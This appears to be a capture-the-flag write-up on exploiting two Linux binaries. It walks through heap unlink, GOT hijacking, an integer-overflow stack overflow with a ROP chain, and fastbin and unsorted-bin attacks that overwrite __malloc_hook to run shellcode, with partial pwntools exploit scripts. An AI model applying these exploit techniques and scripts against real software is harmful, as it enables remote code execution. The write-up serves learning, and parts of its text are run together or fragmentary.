$ file 4-ReeHY-main 4-ReeHY-main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=096967f69a5a1a6960ed59bd71560cb492db21a8, stripped $ checksec 4-ReeHY-main [*] '/root/4-ReeHY-main' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $ chmod +x ctflibc.so.6 $ ./ctflibc.so.6 GNU C Library (GNU libc) stable release version 2.17, by Roland McGrath et al. Copyright (C) 2012 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 4.8.5 20150623 (Red Hat 4.8.5-11). Compiled on a Linux 3.10.0 system on 2016-12-06. Available extensions: The C stubs add-on version 2.1.2. crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B RT using linux kernel aio libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <http://www.gnu.org/software/libc/bugs.html>.
puts("Chose one to edit"); result = read_choice(); v1 = result; if ( result <= 4 ) { result = exist_flag[4 * result]; if ( result == 1 ) { puts("Input the content"); read(0, *((void **)&content_list + 2 * v1), *(unsignedint *)(4LL * v1 + size_list)); result = puts("Edit success!"); } } return result; }
Some addresses:
1 2 3 4 5 6 7
.bss:0000000000602080 stdout dq ? ; DATA XREF: LOAD:0000000000400400↑o .bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o .bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o .bss:00000000006020AC total_num dd ? ; DATA XREF: create+B↑r .bss:00000000006020C0 size_list dq ? ; DATA XREF: read_name+6C↑w .bss:00000000006020E0 content_list db ? ; ; DATA XREF: create+FE↑o .bss:00000000006020E8 exist_flag dd 10h dup(?) ; DATA XREF: create+119↑o
Sub functions (menu, read_choice and show) are either simple or not constructed. Rename some items for simplification.
Analysis
Though in delete() it doesn’t set freed pointer as NULL, it uses exist_flag as flag and check it in edit, so UAF cannot be down, but here we can build a double free. Double free often works for fastbin attack and unlink. This time, I will show you how to exploit unlink (it doesn’t need double free yet).
The unlink occurs only when you free a chunk, and a freed chunk (not in fastbin) is next to it. Then that freed chunk will be unlinked (that’s where unlink happens) from its bin list, and merged with your newly freed chunk.
Basic principle of exploiting unlink will be posted as another essay. It needs to fake one chunk’s fd and bk as target-0x18 and target-0x10, and you get *target = target-0x18 as a result after unlink.
According to their addresses we know that size_list is a 0x14 array to store content size. The content_list and exist_flag can be regarded as a structure which is 0x10 long, 0x8 for content_list which stores pointer of content, and the rest for exist_flag which stores content size.
We can hijack GOT to leak libc base address and get shell, the point is how to edit GOT items. The edit() is to edit what content_list items point to, so we try unlink to change what they point as GOT items.
First we create 2 chunks with index 0 and 1
Then we fake a freed chunk in chunk 0 waiting for unlink.
To set it as freed, the prev_size of chunk 1 should be the faked chunk’s size, but the size of chunk 0 in size_list cannot let us overflow prev_size of chunk 1. So we have to edit size_list first.
In create() the cun can be negative, which leads us to access things ahead of content_list, so do delete(). If we set index as -2 we will access size_list.
One way is to delete() the size_list first to put it in fastbin (it is 0x14), then create() a chunk 2 in 0x10-0x18 to get that back into control and edit.
Another way is to create() with index -2, which malloc a new controllable space for size_list, but remember to set content size of others right.
Anyway we control the size_list, and it’s easy to set chunk 0 big enough to enable faking chunk. Let’s fake one:
Things in red is our fake chunk, and we overflow prev_size and prev_inuse in size of chunk 1 to indicate that this chunk is freed, ready to unlink.
Then we free chunk 1, which unlink fake chunk and get *content_list = content_list-0x18.
It sometimes is confusing because we do not know clearly how to exploit it. Well, here we can overflow content_list items as GOT items and set all exist_flag as 1, then use edit() to hijack GOT.
Check the exploit script for details.
Besides there is also a stackoverflow in create(). it reads size and use it as signed int to malloc, while as unsigned int to read, so here exists a integer overflow.
Set size as ‘-1’ and in read it will read 0xffffffff chars to buf on stack. But there is a memcpy(dest, &buf, (signed int)nbytes); to execute, so when overflow we have to set their value (dest, buf, nbytes) right.
defcreate(size,index,content): sh.sendlineafter('$','1') sh.sendlineafter('Input size\n',str(size)) sh.sendlineafter('Input cun\n',str(index)) sh.sendafter('Input content\n',content) defdelete(index): sh.sendlineafter('$','2') sh.sendlineafter('Chose one to dele\n',str(index)) defedit(index,content): sh.sendlineafter('$','3') sh.sendlineafter('Chose one to edit\n',str(index)) sh.sendafter('Input the content\n',content)
sh.sendlineafter('Input your name: \n$','name')
create(0x100,0,'0'*0x100) create(0x100,1,'1'*0x100) ''' delete(-2) create(0x18,2,p32(0x200)+p32(0x100)) ''' create(0x70,-2,p32(0x200)+p32(0x100)+p32(0x100)) # length of chunk2 is a must, or it must be smaller than 0x70
# fill 'buf', 'dest', 'v3', 'nbytes' and 'rbp' in order # in fact only 'v3' and 'nbytes' have some limits here payload = "a"*0x80 + p64(0)+p32(0)+p32(0)+p64(0) payload += p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr) sh.sendlineafter('Input your name: \n$','name') create(-1,0,payload)
$ file timu timu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6f6e16df39f3af5d7cc7e3c9d2deb35b4d3e0bdf, stripped $ checksec timu [*] '/root/timu' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments $ ./libc-2.23.so GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
In update() it doesn’t check the size, which may cause overflow.
In delete() it doesn’t set freed pointer as NULL, so it is a UAF.
But it gets full RELRO, so GOT hijacking can’t work. We can overwrite __malloc_hook instead, and trigger it by calling malloc.
As it has RWX (readable, writable and executable) bss segment, we can write shellcode to it.
Though this program gets no PIE, we still needs partial write to bypass PIE, because __malloc_hook is in libc while it has PIE enabled.
To sum up, our general idea is to use unlink (by overflow) to control buf, then write bss address to buf item and write shellcode to bss. Then try to write __malloc_hook as bss address so that shellcode will be triggered by a new malloc.
The tricky part must be overwriting the __malloc_hook because we have analysed unlink but this part involves unsorted bin attack, fastbin attack and partial write bypass PIE, so I will get you some details.
To write on __malloc_hook we have to alloc it first, by using fastbin attack; while its address can only be guessed by knowing main_arena + 0x88 first, which needs unsorted bin attack.
For unsorted bin attack part:
First delete one chunk X (belongs to unsorted bin), the main_arena + 0x88 will be stored in its fd.
Use UAF to overwrite last 2 bytes to set it as __malloc_hook. The randomization exists in loading libc but the last three digits will be fixed. As they are in the same memory page, only last 2 bytes are different, so the fourth digit from last is totally random. Using brute force to break it.
1
(malloc_hook & 0xffff) - 0x23
As it rands, there is always a time the last 2 bytes happen to be like this. Then use UAF to overwrite last 2 bytes of that chunk’s fd.
Now it points to __malloc_hook - 0x23, check “Heap Exploit Intro” to see why is it, it’s for fastbin attack.
To link chunk X into that fastbin list, we can also use partial write because in my exploit the chunk B and chunk X are adjacent, so only last byte is different:
We malloc chunk in that fastbin list to alloc 0x7febf8254aed(__malloc_hook - 0x23) out, then we can write bss address to it and use malloc to trigger shellcode.